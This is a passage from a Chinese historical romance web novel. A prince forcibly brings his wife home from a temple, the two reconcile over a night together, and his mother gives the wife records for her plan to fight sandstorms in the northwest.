然轩辕翰此时却一点儿也不关心这些,只自顾自温柔的注视着她的一举一动,一颦一笑。 继而又缓缓凑到她的面前,打断她的兴趣,关切地问了一句:“你的身子如今可都已经大好了?” 即便自己早已经在心里做了多么糟糕的决定,可当这个人真的再次真真切切地出现在自己面前,说着如此温暖贴心的话语的时候,她的心里终于还是乱了方寸。 隧垂首下去,含羞地道:“嗯……” 闻此,轩辕翰忽觉心中不甚欢喜,却又再次故意问她:“还打算继续在这里做这些吗?” 衣上云一听,并未想太多。只点了点头,肯定地道:“嗯,既然已经做了,当然要做完才行。” 说着,竟真的马上再次落座了下去,提起笔来。 轩辕翰见了,顿将她手里刚刚拿起的一支笔一把夺过,放回到原位。 紧接着,便将其一把大力地拽起身来,任由她落入自己宽大的怀抱里,在其耳边说:“不弄了,走!” 说着,便要托着她的手出门。 衣上云只觉自己的心怦怦直跳,可又不明所以地问:“殿下这是要带我去哪里?” 轩辕翰感受到她的抗拒后顿止住步,对其认真地道:“如今这里的一切都已经结束了,王妃也该跟本王回家请罪了!” “殿下,我……”衣上云犹犹豫豫地道。 就在她正在琢磨此时该如何将自己这段时间以来心里的失落和最后的决定对其言明,不想却被轩辕翰忽然增大了几分力量,紧紧握住了她的手腕。 冷不防吃痛的衣上云,一时间忍不住竟叫出了声来:“痛……真的好痛……殿下快放手!” 轩辕翰道:“痛?看来真的是离家太久了,王妃或许已不记得回家的路,需要本王亲自来接。不过,幸好王妃尚还记得痛为何物?如此,王妃又怎会不知,这些日子以来,本王心中的痛和思念,要比王妃多千倍,乃至万倍呢!” 若非此处乃佛门圣地,他恨不得现在立刻便将她狠狠教训一番,让她知道许久以来,自己对她又是多么的思之若狂。 衣上云感觉其手里握住自己的力道愈来愈紧,隧大惊失色,在其手里一边挣扎着,一边道:“殿下你这是做什么?松手,快松手,我不想再跟你回去,不想再面对你冰冷的后背,不想再继续做秦王妃,我自请与殿下和离,从此再无交集与瓜葛。松手,快松手,你若是再不松手,我可就要喊人了。” 轩辕翰丝毫不容分说,霸道极了地一边执意将其拽走,一边道:“本王今夜要带本王的王妃回府,本王倒想看看谁敢来拦?” 尽管说出了就连自己都不知道怎么说出口来的那般无情无意的话,终究,衣上云还是被轩辕翰在延福寺里当着众人的面强行抱上马背,无一人敢上前阻拦,自是也拦不住,最后带回到秦王府。 当夜里终于再次见到衣上云的时候,从头到脚,一身朴素极了的妆扮,使得燕儿整个人都惊呆了。 看着衣上云双双哭的通红的眼睛,燕儿朝其紧忙迈步近身过去心疼地问:“小姐这是怎么了?怎么哭了?” 衣上云背对着轩辕翰,一点儿也不想与他说话。 轩辕翰便冷声命令燕儿道:“给王妃沐浴更衣后将她带到本王寝殿去!” 衣上云一听,顿惊地朝其扬声反驳道:“殿下您这又是何必?我今夜宿在云水阁便好!明儿一早我还得回到延福寺里去,寺里的灾民们后日一早便要启程回乡了,我已答应同他们一起前往,如此,便不会惊扰了殿下休息。” 轩辕翰则义正严辞道:“先前是因为王妃的身子欠佳,所以才让你从本王寝殿搬去云水阁的。如今你竟都已大好,自然是要回来与本王同寝共眠才是。” 衣上云坚决不答应,便说:“不可以,我已经说了,我自请与殿下和离,还望殿下念在我们过去的情分上,我们好聚好散……” 听到这一句,尚未等轩辕翰说话,燕儿着急地堵了衣上云的嘴。 “是。”燕儿一边答应着,一边将衣上云拽走去沐浴。 午夜时分。 明月轩里,满殿的灯火通明,被人相继熄灭了许多,最后只留下星星点点,几缕极柔和的色调,在夜里缕缕微风的轻送中摇曳着。 衣上云沐浴后,略施粉黛,撒下了一头乌黑的长发,换上一袭轻薄的粉色纱裙,正独自端坐在轩辕翰的床榻上,心里甚是五味杂陈着。 她怎么都没有想到,轩辕翰如今竟然对自己已经开始用强的,那以后,她又该怎么办?眼下,她答应了那些灾民,同他们一起回乡重建家园的事情又如何继续下去? 正暗自思量着,忽闻一阵脚步声传来。 第五百九十二章:聊天费腰? 衣上云缓缓抬眼望了过去,见原是轩辕翰正在朝自己近身过来。 想起方才他一点也不顾及自己的感受,那般用力地紧握自己的手腕,不知为何,竟忽然对他的靠近第一次心生起一丝惧怕来,于是本能般抗拒着往榻边一角上缩了缩。 整个人也是藏低着头靠在榻栏边上,不敢说话,也不想说话。 轩辕翰一走过来,便闻到一股熟悉的她身上所散发出的淡淡香味,整个人看起来气色也却是还不错,可依旧还在生气着不愿看他。 便抬起头来想要触摸一下她的头发,不想衣上云竟顺势一个退闪,躲避了开来。 无奈,轩辕翰只得缓缓收回尚还停留在半空中略有些尴尬的一只手,兀自又提起袍角来,在她的身旁坐了下来。 而仿佛只要她在身边,他就是心安的。她便是他世界里的所有,他所有的世界。 俩人一起沉默着坐了会儿,轩辕翰方才开口问:“还在生本王的气?” 衣上云根本不想理会他。 轩辕翰舒了口气,缓缓开口朝其解释说:“归宁那日,本王让程良跟踪你,并不是不信任你。而是……” 即便是此刻,轩辕翰依旧不想告诉她,自己早已知晓她便是西秦守护者的身份,以此而增加衣上云的负担。 仿佛只要他不说,她便就只是个简单快乐的普通女子。 每个夜晚,他只要一想到这片大陆上,有那么多双眼睛正明里暗里对她虎视眈眈,他们正在想尽办法寻她,他便就再也睡不着了。 天知道,他多想她只是这世间一个简单的不能再简单的女子,有一天,她忽然闯进了自己的世界,从此便只简单做他妻子的身份,可世事难料,造化弄人…… 或许,这便就是守护者的宿命,平凡普通从来都不属于她们,她们生来便就是带着使命而来,怎么藏都藏不住。 只是如今看到了开始,却猜不到结局。她的结局,又会是什么呢? 他只是在很小的时候,那时还与纯太妃一同住在宫中,听他的皇爷爷说过,历届守护者,结局都是凄惨无比的,她们俱都殒命守护了西秦国这座城池的安宁。 每每思及此,他便心痛不已。 当他一开始得知她的身份时,他也尝试过让她隐姓埋名,远离西秦。 可兜兜转转,她却终是再次回到了这里,回到了他的身边。 于是,他在心里默默下定决心:“若你的到来,只是为了守护这个天下。那本王,便就只守护你一人。” 顿了顿,轩辕翰收拾起这份沉重的心情,转头望着衣上云的侧脸,只说:“本王不得不时刻都小心翼翼,唯怕你又同过去的很多次那样,不知何时,便就忽然从本王的身边消失不见了,本王怕一不小心再弄丢了你。与你一路走来,本王这一生,已是一刻都不能没有你。” 闻此,方才意识到轩辕翰的真正目的竟然是这样的,他竟一直都如此在意自己,衣上云顿时回过头来吃惊地看向轩辕翰的脸,心疼地轻唤了一声道:“殿下……你……” 心里已然懊恼不已这段时间一直以来对他的误解至深,竟然还说出了自请和离那样狠的话。 刚想开口朝其认错,可又一想到这些日子以来,他竟然也不来看看自己过得如何? 便又心生迟疑地问:“那云儿在延福寺里住了这么久,殿下怎的也从未来探望过云儿一眼呢?” 轩辕翰与其四目对视着,道:“看了你离府时留给本王的字,本王心里虽然亦是很生气,但是本王知道,正如你字里所说,虽身为女子,不如男子可上朝为官,上阵杀敌,保家卫国。然你也有自己想要做的事情,本王虽然娶了你,却不会太束缚于你,让你觉得本王想要处处掌控你。” 轩辕翰说完,缓缓附手过去捉起她的手,一边替其温柔地搓揉着手腕上,被自己方才弄疼至今还显得有些微微发红的地方,一边关切地问:“还疼吗?” 衣上云看着他手里此刻轻柔极了的动作,心中忽觉一股暖流涌上心头,仿佛这些日子里所有的委屈都烟消云散了一般。 隧摇了摇头,回答说:“现在已经不怎么疼了,可当时却是真的很疼!” 轩辕翰继续着手里的动作,尽量让她感觉不到疼痛,尽量使其舒服一点:“本王就是要你知道,你的身上有多疼,这段日子以来,本王的心里便就有多想你,念你。” 闻此,衣上云彻底释然了心里对他的一切误解与杂念,竟冷不丁地说了句:“如果是这样,那下次就请殿下再多用力一点吧。” “你说什么?”闻声,轩辕翰简直不敢相信自己的耳朵,顿停下手里的动作,抬起那双深邃的眼眸来,看向她的眼睛。 只见衣上云的脸上早已羞地浮现出一抹绯红,垂首下去闪避开他的眼睛,轻声重复了一遍:“如果真如殿下所说的这般,云儿身上有多疼,殿下心里便对云儿就有多想,多念的话,那下次就请殿下再用力一点儿吧。” 忽地,轩辕翰将那张宛若天工雕刻过一般的那张精致的脸孔凑到衣上云的跟前,眼睛里霎时流露出浓浓的欲望来,道:“不必下次,就是现在。” “殿下说什么?” “什么就是现在?” 衣上云惊声连连。 刚一抬起头来,尚未及其反应过来,轩辕翰便俯身了过去,将其一把扑倒,顿时两眼迷离地道:“云儿,本王想要你,就现在!大婚至今,本王已经等的太久了!之前因为你身上的伤,本王一直都忍着,如今你的身子也都已经大好了,你须得好好弥补本王才是。待会儿,本王定会让你知道,本王心里究竟有多么想你,念你。” 说完,便欺身上去一吻封唇。 而衣上云竟也满心欢喜地很快便开始主动回应起他的吻来。 轩辕翰一感受到她的迎合,遂被刺激,便顺势附上一只手去搭在了她的胸前,继而一把扯掉了其身上所有的衣物遮挡。 幔帐倾洒,殿内烛火摇曳。 一切都似乎刚刚好,俩个炙热滚烫的身体终于深情纠缠在一起。 翌日清晨。 一缕缕柔和的光线透过窗棂悄悄撒进了林月轩寝殿。 衣上云独自醒来的时候,已是日上三竿时分。 翻身过去朝身旁榻边一看,发现轩辕翰早已不在寝殿内。 于是,她用手轻轻揉了揉眼睛,拉起锦被一闻,依旧还是熟悉的那个味道,可再仔细一闻,如今自己正一丝不挂,光噜噜的身子上亦都是这个男人好闻的气味,回想这一夜之间,俩人几经翻云覆雨,是何等激烈! 到最后,她被轩辕翰翻来覆去,折腾的实在是一点儿力气都没有了,无论她如何向其求饶,他终是不肯将其放过, 哪怕衣上云哀求他让自己稍微休息一下,缓一缓,他也要乘机紧紧贴着她光洁白皙的身子,将她实实地拥在自己怀里,像是生怕一不小心她便又会再次偷偷溜走。 打从俩人大婚至今,这才只不过是第一夜同房,她是实在没有想到轩辕翰的体力竟然旺盛至此,那往后的每一夜,自己岂不是…… 甚至就连想都不敢往下继续想去,衣上云赶忙一边起身,一边唤来燕儿为她梳妆:“燕儿,燕儿……” 听从轩辕翰离开前的命令,只能悄悄在门外守着,没有王妃的召唤,任何人不得进入殿内去打扰。 此刻,她总算是等到了主人的召唤。 燕儿手里端着一盆水一进门来,便被似是吓得不轻地说:“小姐啊小姐,打从进了秦王府,如今你可是越来越懒了。从前在府里,你何曾如此晚起身过?这若是让老爷夫人知道了,那还了得!” 衣上云本也自己觉得甚是不可思议,今日竟睡到了这个时辰,便脱口即道:“这怎么能怪我呢,那还不是殿下他一晚上连着好几次非要……” 不经世事的燕儿知道什么,只一边顾着赶紧给衣上云梳洗,一边好奇地追问了句:“要什么……” 衣上云回过神来,脸上顿时浮现起片片红晕,急急改口说:“也没什么,就是殿下他半夜睡不着,非要拉着我一起……聊天。” 燕儿歪着脑袋一脸不解:“聊天?这深更半夜的,你们不睡觉,有什么好聊的。” 衣上云隧遮遮掩掩地道:“是嘛,是没什么好聊的,所以我也没听,殿下他夜里都说了些什么,小姐我通通都没往心里去,这不,一觉醒来,便全都不记得了!你也莫要再追问了。” 如此,便就算是彻底堵上了燕儿那张好问的嘴。 很快,燕儿便帮其妆扮好,衣上云问:“殿下去哪儿了?” 燕儿道:“殿下每日卯时早朝,这会儿应该快回来了吧?” 闻此,衣上云嘴里嘀嘀咕咕着:“不行,看来我还是得先快点儿躲起来,不然今天晚上定是不得好过。” 说着,便猛地一下直立起身来,不料却被突如其来的一阵腰痛所袭击,吃痛的她忍不住发出“嘶”的一阵闷哼声来。 见此,燕儿看着她此刻奇怪的样子,不明白地道:“难道……聊天费腰?” 第五百九十三章:愚公岂不真愚? 衣上云听到燕儿所说的如此奇怪的话,顿时羞红了脸,遂训斥燕儿说:“什么聊天废腰?燕儿你莫要瞎说,小心被旁人听到了笑话!” 可燕儿却不以为然,坚持道:“可小姐你明明就是因为陪秦王殿下夜里聊天,早上起床才腰疼的呀?再说了,腰疼又有什么好笑话的,燕儿哪里说错了?” 衣上云不想再与她继续讨论这个令自己难以启齿,说不出口的话题,于是便朝其妥协道:“好了好了,只要不出这个门,你说什么便就是什么吧!懒得和你争,真是个人精!” 说完,便踱步兀自朝门外走去。 燕儿一见,赶忙追问:“小姐你要去哪儿啊?等等燕儿。” 衣上云伸出一只胳膊来摆了摆,说:“你还是先把寝殿里好好整理整理吧,我去花园走一走,很快便就回来了!” 没走两步,方觉原来身上疼痛的地方不止在腰上,仿佛被他夜里缠绵留恋过的地方,俱都在吃痛一般。 于是一边用拳头轻轻拍打着身上的各个痛点,一边回想起昨夜俩人的失控画面,一切竟是因为自己对他说的那句:“如果真如殿下所说的这般,云儿身上有多疼,殿下心里便对云儿就有多想,多念的话,那下次就请殿下再用力一点儿吧。” 不禁感叹,又后知后觉,自言自语懊恼地道:“可这未免也有点儿太用力了!看来真是大意了,我想我一定是疯了,怎能对他说出那般的话来呢?” 心里着实后悔极了,也抓狂极了,此时,只恨不得地上有个耗子洞躲进去,便再也不出来了。 正一边走着,一边暗自出神,一小丫头忽然驻足停顿在她的面前。 顺着她的鞋子衣上云将目光缓缓上移,抬眼一看,原是纯太妃身边的欢儿。 欢儿一对上她的目光,便对衣上云屈膝行礼道:“王妃娘娘,好久不见,太妃娘娘有请!” “太妃娘娘……” 显然,一听到纯太妃,衣上云便立刻变得严肃了起来。 路上,欢儿开口问:“王妃娘娘在王府里住的可还习惯?” 衣上云佯装镇定地道:“都还好,多谢欢儿姑娘惦记。” 欢儿笑了笑,感慨道:“记得从前在城南桃花店时,我们可是无话不谈,彼此都是那样熟识的人,如今,怎的反倒就突然变得如此见外了?” 闻此,衣上云便不再接话,变得又沉默不语起来。 知道衣上云接下来定也不会与自己主动多说些什么,欢儿便也不再继续说话。 遂跟着欢儿的脚步,很快便来到了紫和轩里。 打从与轩辕翰大婚起,这仅仅是她与纯太妃的第二次见面。 碍于自己的重重身份尴尬,她不得不在其面前尤为拘束,说话小心翼翼,事事都保持谨谨慎慎,尽量不要去讨论触及一些敏感的问题。 欢儿将衣上云带到门口,便止步停下说:“王妃娘娘自行进去吧,太妃娘娘在里面等着您呢!” 衣上云驻足顿了顿,最后终深吸了口气,便提步进入了殿内去。 偌大的宫殿里,一室寂静。 只有殿中央的香炉里,正缓缓飘出丝丝缕缕的香烟来。 只见纯太妃一人,独自正在窗户边上的书案边习字。 衣上云一锁定目标,便上前去朝其行礼问候:“儿臣给母妃请安!” 纯太妃稍停顿了会儿,却并没有停下手里的笔锋浓转,道:“起来吧!” “谢母妃。”衣上云直起身来。 许是因为尽管自己已故作镇定地遮掩起内心的些许不安情绪,可难免还是有些紧张,一时竟然忘了自己身上的痛,在她直立起来的时候,忽然传来一阵痛感。 然尽管如此细微的动作,却刚好还是被纯太妃的余光扫到,便闻其声道:“怎么?距离上次小产至今已有月余多了,可是身子还没有痊愈?” 不小心被其发现,衣上云心里一惊,顿回过神来道:“回母妃,并不是,儿臣身子已然大好,只是因为昨夜未休息好而已,母妃不必挂怀!” 纯太妃依旧未停下笔来,只道:“昨夜……听闻你这大半月都去了城西郊外的延福寺,昨儿半夜才被秦王接回府的,那昨夜,可是宿在了林月轩里?” 衣上云忽地反应过来,连忙对其解释道:“昨夜是因为回来的实在太晚,云水阁来不及准备,所以儿臣才宿在了林月轩,今儿一早,儿臣便已经命人在打扫云水阁了,这就搬去……” 尚未及其将话说完,纯太妃便开口将其打断:“王妃莫要误解,之前之所以不让你与秦王同宿在林月轩,没有其他意思。的确只是因为你的身子未愈,怕你们新婚燕尔,秦王又年轻气盛,不知分寸再伤了你。如今,你的身子都已经大好了,启有新婚夫妇分房睡的,你莫要曲解了哀家的意思!” 然即便如此,衣上云只要一想到轩辕翰那惊人的体力,心里依然有些畏惧,于是坚持道:“儿臣觉得……儿臣还是搬去云水阁住的比较好……” 纯太妃淡淡地道:“如果你执意如此,哀家也无话可说,你与秦王商量便可。毕竟,他才是这王府里唯一的主人。只不过,今日哀家特意让欢儿过去叫你来,是想问你另一件事。” 闻此,衣上云心里顿时紧张了起来,吞吞吐吐怯怯地道:“另一件事……不知母妃想问的是什么?” 见自己尚还未开口,衣上云便已紧张地揉搓起其手中的帕子来。 纯太妃终于停下了手里的笔锋,将笔搁置到一旁,从书案前走出来,说:“你不用紧张,哀家只是想问你,你可真的想好了,要与延福寺里的那些灾民们一同前往西北去治理沙暴?” 一边说,一边复又落座到茶几前一边煮茶,一边缓缓道:“毕竟,先帝在世的时候就已经在做这件事了,只是成效甚少,过程太过艰难。其实,让秦王为他们在封地里随便寻另一处地方安家落户,繁衍子孙,让他们的子孙后代从此能够永远远离沙暴的危害,又何尝不是一种更好的选择呢?” 衣上云想了想,回想起自己访问灾民时,他们心中对家园的不舍,感同身受般地道:“民间俗语有云,金窝银窝,皆都不如自己的草窝。那些灾民们,他们世世代代都在那里繁衍生息,日出而作,日落而息。那里有他们太多的情感和精神寄托,虽然平日里饱受沙尘和沙暴的危害,可是沙尘和沙暴都是可以人为治理改善的,只是其工程庞大,非一时可促,时间会比较长而已。” 纯太妃亦是叹道:“是啊,人人都知道要改善西北的沙尘沙暴,需要很长的时间,那到底是三年,五年,十年,还是三十年,五十年,亦或几代人也不一定能见到有多少改变呢?” 衣上云沉默了一会儿,说:“太行、王屋二山,方七百里,高万仞,本在冀州之南,河阳之北。北山愚公者,年且九十,面山而居。惩山北之塞,出入之迂也,聚室而谋曰:“吾与汝毕力平险,指通豫南,达于汉阴,可乎?” 纯太妃听了,悠悠道:“这是愚公移山的故事,哀家懂得。” 衣上云接着问道:“那请问母妃,照母妃所说,愚公岂不真愚?他根本无须移山,只需带领众人搬走不就好了吗?为何还要带领一代又一代的子孙们将这大山移平呢?” “这……”至此,纯太妃显然已再无话可说。 然心里却是默默地敬佩,赞叹道:“看来,她的确颇有守护者不惧艰难,锲而不舍的大义精神。” 遂顿了顿,又问:“那你便舍得与秦王长期分开?” 闻此,衣上云骤然眉头紧锁,道:“不舍得,儿臣一日都不舍得与殿下分开。经历了这么多,儿臣对殿下的心,早已是日月可鉴。可为了更多的黎民百姓们都能安居乐业,儿臣不得不舍。” 此话一出,偌大的宫殿里,复又变得一室寂静起来。 轩辕翰刚一回府,便兀自朝着林月轩寝殿回去。 一进门,见衣上云却并不在殿内,只有燕儿刚收拾好殿内一切,正准备离开,看到轩辕翰进来,忙屈膝朝其行礼:“秦王殿下。” 轩辕翰看着整洁明亮,空空的殿内,问:“王妃呢?” 燕儿道:“王妃娘娘说昨夜与殿下聊天聊的太晚,有些腰痛,要去花园里锻炼锻炼,想必此刻定是在花园里吧!” “与本王聊天……腰痛?”轩辕翰疑惑地自言自语重复了句。 顿时,他便明白了过来,定是昨夜对她的惩罚,俩人的多番云雨太过激烈,衣上云的身子有些承受不住了,却竟如此欺骗这个傻丫头。 正一边思量着,回忆昨夜的情景,燕儿再次尝试着好奇地朝轩辕翰问:“秦王殿下,燕儿不明白了,以前在府里,燕儿也时常陪小姐彻夜长谈,可小姐都好好的呀,如今为何与殿下聊天,却聊的连腰都直不起来了呢?殿下未见,刚才小姐可是扶着腰出门的?” 闻此,轩辕翰心里一顿,解释说:“兴许是因为你家小姐近日在延福寺里太过操劳,所以经不起熬夜了吧。” “是吗?”燕儿歪着脑袋纳闷地想了想。 遂叮嘱轩辕翰说:“既然小姐这段时间如此辛苦,还请秦王殿下饶了小姐,她之前对您说了那般过激的一番言语,殿下莫要责怪她。其实,小姐还是很喜欢殿下的。眼下,就让小姐好好休息休息,养足了精神,再陪殿下夜里长谈吧!” 轩辕翰冷声道:“嗯,本王知道了。” 燕儿一听,高兴地道:“那燕儿替我家小姐多谢殿下体谅,燕儿下去了,殿下刚下朝回府,也好好歇会儿吧!” 燕儿离开,轩辕翰回想其这段话,不禁嘴角上扬,露出一抹淡淡的笑容来。 第五百九十四章:去意已决 俩人四目相对视了许久,终是纯太妃先开了口说:“好了,既然身子不舒服,就不要在那儿站着了,过这边来坐吧!” 此话一出,衣上云的心里忽然竟也变得没那么紧张了。 待其缓缓踱步过去,落座在她的对面,衣上云这才发现纯太妃正在煮水所泡制的茶,竟然也是茉莉花茶。 可这茶香味儿,还有茶汤的颜色,却似是那样的熟悉。 就在其纳闷之际,纯太妃将茶几边上不知何时便已放着的一本册子推到了衣上云的面前。 衣上云忽地回过神来,将其拾了起来,疑惑地问:“这是什么?” 纯太妃一边继续着手里泡茶的动作,一边介绍道:“这本《治沙摘要》,是先皇在世的时候,命人治理西北沙尘时由专人所记载留下的全部记录,里面有许多可取的方法经验,当然,也有失败和教训。既然你此次西行去意已决,哀家希望它能对你有所帮助!” 衣上云将其翻开来一看,惊奇地发现里面竟然图文并茂,相当详细地记载了就之前采取过的种种治沙的具体措施及方法。 不仅如此,还有许多失败的例子,及其原因分析和改善措施。 如此之外,更是记载了历年沙尘沙暴所出现的具体时间和地点,以及其每次对人们的生活所产生的影响的大小程度。 见此,她的确兴奋极了:“这可真是太好了,我一直还在担心,生怕灾民们所描述的情况难免会有漏洞,不够全面,也不清楚且形象。如今,有了这本《治沙摘要》,原先一直困惑我的许多疑问,便就都迎刃而解了。” 衣上云甚是欣喜若狂,于是,感激极了纯太妃:“多谢母妃。” 纯太妃端详着她此刻如获珍宝般激动的眼神,一直目不转睛地盯视着那本册子,心里默默地道:“不管你承不承认,也不管你是不是我西秦遗失的守护者后人,只要凡是对我西秦子民有益的事情,哀家定会倾尽全力相助。” 紧接着,又在心里对她赞叹道:“身为女子,你的确很好,哀家的皇儿,亦确实很有眼光。” 可在心底又升起浓浓的忧伤来:“然若你真的只单纯是衣府嫡女,那该有多好!” 就在这时,轩辕翰脚步匆匆地赶到了紫和轩来。 他在林月轩等了衣上云许久,都未等到她回去。 无奈出门来寻,到了花园里一问,方知衣上云早已被纯太妃身边的婢女欢儿带到了紫和轩,于是便立马不放心极了地追了过来。 轩辕翰一到门口,便着急地问欢儿:“王妃是不是在里面?” 欢儿朝其屈膝行礼,道:“秦王殿下,王妃娘娘同太妃娘娘正在里面说话呢!” 轩辕翰眼里顿时浮现出无数寒光来,便径直朝殿内抬脚走了进去。 一进门,见这次衣上云竟与纯太妃俩人正安静地坐在一起各执一盏品茗。 遂有些意外,可来不及细想,只先朝纯太妃行礼,道:“儿臣给母妃请安!” 闻声,背对着其的衣上云连忙站起身来,吃惊地道:“殿下……你怎么来了?” 知子莫若母,纯太妃一瞥见轩辕翰刚进来时脚步着急的样子,便道:“怎么,秦王如此急匆匆赶来紫和轩,是怕哀家给你这新妇又来一个下马威吗?” “儿臣不敢!”轩辕翰嘴上说着,却着急的放眼过去仔细地打量了一番正立在茶几旁的衣上云。 见其朝自己微微笑着,似是并无什么异样,方才安心了一些。 紧接着,便一心只想将她立刻带走,于是说道:“儿臣听下人说,王妃今日早起,似是身体有些不适。儿臣唯恐王妃之前的旧伤复发,所以才特地前来寻她回去,想给乐太医瞧瞧。” 纯太妃早已发觉了衣上云的细微动作,发现她身上的痛,她又岂会不懂得她们是新婚夫妇,眼下正值新婚燕尔,如漆似胶,难舍难分的阶段。 不过,看着自己唯一,却又一向不近女色,打小便孤独寡言惯了的儿子,如今也总算是有了正常人的生活,她的心里也着实为其感到高兴。 于是关切俩人道:“母妃知道你们新婚,且王妃近来还去延福寺住了一段时日,可虽说这小别胜新婚,可秦王须懂得,来日方长,唯有细水方能长流,无论如何,务必要懂得克制自己,多替王妃的身子着想才是!” 闻此,二人难免脸上都有些许尴尬,衣上云当即立刻垂首了下去,霎时满面绯红,羞涩不语。 轩辕翰则似是与平常并无多大区别,道:“母妃教训的是,儿臣定会好好照顾王妃的。” 纯太妃遂看了一眼旁边沉默着的衣上云羞红的脸颊,最后深吸了口气,道:“好了,该说的哀家都已经说完了,也有些乏了,你们都回去吧!” “儿臣告退” “儿臣告退” 俩人这才双双一齐退了出去。 轩辕翰带着衣上云离开后,望着他们渐渐消失的背影,纯太妃自言自语道:“本就不该在一起的俩个人,如此,未来也不知究竟是福,还是祸?” 随即似是忽然又想到了什么,扬声吩咐门口守着的欢儿:“欢儿,去把张嬷嬷叫来!” 很快,张嬷嬷便来到了大殿,问:“太妃娘娘有何吩咐?” 纯太妃想了想,说:“你亲自过去,让乐太医给王妃好好准备个方子……” 张嬷嬷不解地道:“王妃娘娘可是哪里不舒服吗?” 纯太妃解释道:“秦王与王妃新婚,秦王正是年轻气盛的年岁,你就嘱咐乐太医,给王妃好好准备些房事后所服用的调理身子的滋补汤药即可。” 张嬷嬷顿时明白了过来,笑着忙朝其致歉:“还是娘娘细心,是老奴疏忽了!” “好了,去吧!”纯太妃挥了挥手。 “是~” 张嬷嬷便高兴极了地出了门,着急地下去办差。 而走出紫和轩没多远,轩辕翰却忽然开口冷不丁地问衣上云:“还疼吗?” 衣上云尚还沉浸在自己方才所看到的那些册子里的图片中,闻声一时竟然没能反应过来:“啊?” 轩辕翰瞥了一眼她的腹部,道:“听燕儿说,今晨起来,你的腰……” 看到其忽然投向自己异样的眼神,衣上云亦朝其目光所及之处望了去。 未及其把话说完,便顿时明白了过来,霎时羞红了脸道:“殿下莫要听燕儿胡说八道,她一个小丫头,懂什么?” 闻声,轩辕翰顿足停了下来,认真地看了看她脸上此刻那十分诱人好看的颜色,朝其眼前凑近了一些过去。 故意坏坏地道:“哦?燕儿她一个小丫头不懂……莫非王妃的意思是,你懂咯……” 衣上云一听,瞬间更是难为情又生气极了地道:“殿下你说什么呢?” 说完,便丢下他一人留在原地,红着脸自顾自地溜走了。 夜里,秦王府到处一片灯火通明。 当轩辕翰忙碌了一天,最后拖着疲惫的身体回到林月轩的时候,殿内空无一人,衣上云果然已经搬走了。 再次面对着复又恢复了一室清冷,冰冰凉凉的寝殿,他拖着沉重的脚步过去缓缓坐下在榻边,不禁顿显出满脸的惆怅。 这时,程良端着一茶盘走了进来。 轩辕翰顺口便问了句:“王妃睡了吗?” 程良回想了一下,道:“应该还没有,方才属下经过的时候,见云水阁里的灯还亮着呢!” 顿了顿,轩辕翰忽地起身来道:“走,过去看看!” 程良一听赶忙提醒他:“可王妃娘娘她白天不是说,今夜有重要的事情要做,不许殿下您到云水阁打扰她吗……” 然轩辕翰却似是根本没有听到程良所说一般,兀自快步走了出去,很快便消失在一片寂静的夜色中。 云水阁里。 衣上云正趴在书案上,对照着从纯太妃那里得来的那本《治沙摘要》,在自己的《治沙论》上做着些尤为重要的批注。 看到一处令她感触颇深的地方时,不禁发出一阵感叹来:“原来应该是这样的。” 燕儿在一旁默默地看着,不禁感慨她的小主人如今竟已成长至能做如此就连许多男子都望尘莫及的事了。 忽然回头,一瞥见轩辕翰进来,便紧忙朝其屈膝行礼:“殿下……” 未及其开口,轩辕翰便紧忙伸出两根手指来嘘声将其阻止。 接着,一边继续朝其近身过去。一边朝身后摆了摆手,示意燕儿退下。 当他来到衣上云所在的书案边时,衣上云正执笔在画一张尽是些方方框框看不懂的草图。 轩辕翰悄悄伸手过去忽地将其抽走,拿在手里一看,不解地道:“王妃这画的是什么?” 衣上云顿时惊地赶忙将案几边上的册子藏在袖兜里,立起身来道:“不是不让殿下今夜来云水阁吗?” “对不起,昨夜是本王不好,没有顾及你的身子。”轩辕翰缓缓伸手过去捉住衣上云的肩头,深情地看着她的眼睛。 顿了顿,继续说:“本王不是不想听你的话,只是本王的心,怎么都管不住本王的身体,本王也是拿他没办法,本王已是一刻也不能没有你。云儿,再也不要离开本王的身边。” 衣上云本就一直都不知道究竟该如何跟他告别,此时听了他的这番话,竟是更加那样的无奈,实在不知该如何开口。 轩辕翰乘此再次追问:“对了,晌午在紫和轩里,母妃都同你说了些什么?” “没……没什么”衣上云顿将袖兜里的册子往深处推了推。 如此怎能瞒得了轩辕翰,乘其不备,他一把便将其夺了过来。 第五百九十五章:离开之前的夜晚 “殿下,快还给我……” 衣上云紧忙着急地伸手过去扯住轩辕翰的臂膀,想要将其抢夺回来,不料却只硬生生地撞到了他坚实的胸膛上。 轩辕翰得意地将其高高举过头顶,充满好奇地想要知道她为何到底如此神秘,说:“王妃究竟自己一个人躲在这里偷偷看什么书,竟连本王都不让知晓。” 可忽将其展开来一看,却是瞬间对其瞪大了眼睛被其惊愣住:“这不是父皇的……《治沙摘要》么……” 此时,轩辕翰终于明白了过来。 原来这婆媳二人白天在紫和轩里见面所谈的,竟是关于西北治沙的事情。 “母妃不但没有帮本王阻止她这个想法,竟还将一直被父皇封存起来的《治沙摘要》给了她。难道母妃她不知道,衣上云只不过是个柔弱女子,沙地条件恶劣,凶险万分,就连父皇生前都未能完成的心愿,连这世间多少男儿都望而却步的事情,如今,又怎能让她去以身犯险?” 一时间里,轩辕翰愤怒不已,心里恼极了纯太妃。 手里紧紧攥着那本摘要,对衣上云狠狠地道:“原来,你竟背着本王还一心想着要去西北治沙?” 终于还是被发现了,反正此行已成定局,衣上云索性便想要好好与其解释一下,也算是临行之前两人的告别,于是缓缓道:“殿下……你听我说……” 怎料轩辕翰却丝毫不给她解释的机会,打断了她的话兀自怒不可遏地道:“若不是被本王发现,你打算什么时候才让本王知道?还是……你根本就从未打算过要告诉本王。” 一想起之前她屡屡遇到事情,总是不与自己这个夫君先行商量,心里便更加生气:“你可知道,如今你已是本王的王妃,不再是之前那个深处闺阁中的待嫁女娘。你一而再,再而三地不把本王这个夫君放在心里。如此,你把本王到底当什么?” 轩辕翰自己揣测,瞬间明白了过来,遂伸手过去紧紧地捉住她的肩头,盯着她的眼睛甚觉不可思议极了。 “本王明白了,你是不是早已打算好,明日又要偷偷跟着那帮灾民们一起离开……离开本王,对不对,对不对……” 说着,轩辕翰竟激动地大力摇晃了两下她瘦弱的身子。 “殿下……”衣上云着实被其举动所吓到,忍不住叫了一声。 轩辕翰遂一撒开手,瞪大了眼睛看着她,可又不再给她开口的机会,只满心的惊谔不已。 “对了,还有母妃。如今,就连本王的母妃也与你一起瞒着本王。本王这就去紫和轩里问清楚,你们究竟想要瞒本王到什么时候?” 轩辕翰已是如同魔症了一般,什么都不想再听,最后狠狠地瞪了她一眼,便兀自一脸决绝地转身离开了云水阁。 